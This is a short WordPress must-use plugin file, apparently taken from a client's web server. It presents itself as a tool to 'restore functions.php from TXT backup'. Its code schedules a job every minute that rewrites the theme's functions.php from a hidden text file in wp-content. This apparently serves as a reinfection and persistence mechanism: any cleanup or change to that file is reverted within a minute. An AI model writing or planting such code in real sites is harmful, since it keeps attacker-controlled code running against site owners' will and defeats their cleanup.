File: /data0/www/clients/client33/web202/web/wp-content/mu-plugins/functions-restore.php
<?php
/*
Plugin Name: Functions Restore
Description: Restore functions.php from TXT backup
Author: Function
Version: 1.6
*/
add_action('fr_cron_event', function () {
$functions_file = get_stylesheet_directory() . '/functions.php';
$backup_file = WP_CONTENT_DIR . '/functions_backup.txt';
if (!file_exists($backup_file)) return;
$backup_content = file_get_contents($backup_file);
if (!file_exists($functions_file) || md5_file($functions_file) !== md5($backup_content)) {
file_put_contents($functions_file, $backup_content);
error_log('functions.php restored from TXT backup');
}
});
if (!wp_next_scheduled('fr_cron_event')) {
wp_schedule_event(time(), 'every_1min', 'fr_cron_event');
}
add_filter('cron_schedules', function ($schedules) {
$schedules['every_1min'] = ['interval' => 60, 'display' => __('Every 1 Minute')];
return $schedules;
});